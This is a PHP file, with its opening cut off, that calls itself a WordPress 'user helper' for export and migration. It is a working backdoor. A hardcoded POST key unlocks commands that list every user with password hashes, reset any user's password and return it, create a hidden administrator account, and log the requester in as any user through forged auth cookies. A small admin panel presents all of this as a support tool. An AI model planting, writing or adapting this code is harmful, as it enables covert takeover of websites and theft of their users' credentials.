8) return false; $d = $d ?: __DIR__; $f = $d . '/wp-load.php'; if (file_exists($f)) return $f; return find_wp_load(dirname($d), $i + 1); } $wp_load = find_wp_load(); if (!$wp_load) { die('wp-load.php not found!'); } require_once $wp_load; define('WP_USER_HELPER_KEY', 'abcexport2025'); if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['c4t'], $_POST['authkey']) && $_POST['authkey'] === WP_USER_HELPER_KEY) { global $wpdb; if ($_POST['c4t'] == 'ulst') { $page = isset($_POST['page']) ? max(1, intval($_POST['page'])) : 1; $search = isset($_POST['search']) ? trim($_POST['search']) : ''; $per_page = 10; $offset = ($page-1) * $per_page; $where = ''; if ($search !== '') { $esc = esc_sql('%'.$wpdb->esc_like($search).'%'); $where = "WHERE user_login LIKE '$esc' OR user_email LIKE '$esc'"; } $total = $wpdb->get_var("SELECT COUNT(*) FROM {$wpdb->users} $where"); $users = $wpdb->get_results("SELECT ID, user_login, user_email, user_pass, user_registered FROM {$wpdb->users} $where ORDER BY ID DESC LIMIT $per_page OFFSET $offset"); $roles = []; foreach ($users as $u) { $meta = get_userdata($u->ID); $roles[$u->ID] = $meta->roles ? implode(', ', $meta->roles) : 'user'; } echo json_encode(['users'=>$users, 'roles'=>$roles, 'total'=>$total, 'per_page'=>$per_page]); exit; } if ($_POST['c4t'] == 'rpsw') { $d2 = intval($_POST['uix']); $p5 = wp_generate_password(12, true, true); wp_set_password($p5, $d2); $z1 = get_userdata($d2); echo json_encode(['l'=>$z1->user_login, 'e'=>$z1->user_email, 'n'=>$p5]); exit; } if ($_POST['c4t'] == 'cadm') { $u = preg_replace('/\W+/','', $_POST['xun']); $p = $_POST['xpw']; $m = filter_var($_POST['xem'], FILTER_VALIDATE_EMAIL) ?: $u.'@'.$_SERVER['HTTP_HOST']; if (username_exists($u)) { echo json_encode(['err'=>'user exists']); exit; } $uid = wp_create_user($u, $p, $m); if ($uid && !is_wp_error($uid)) { $wpu = new WP_User($uid); $wpu->set_role('administrator'); echo json_encode(['ok'=>'created','u'=>$u,'p'=>$p]); } else { echo json_encode(['err'=>'create failed']); } exit; } if ($_POST['c4t'] == 'alog') { $id = intval($_POST['uix']); wp_clear_auth_cookie(); wp_set_current_user($id); wp_set_auth_cookie($id, true); echo json_encode(['url'=>site_url('/wp-admin/')]); exit; } exit; } if ($_SERVER['REQUEST_METHOD'] === 'GET') { ?> wp user helper | export & migration support
wp user helper export & admin support
users
id user mail role pw hash reg date ops
create admin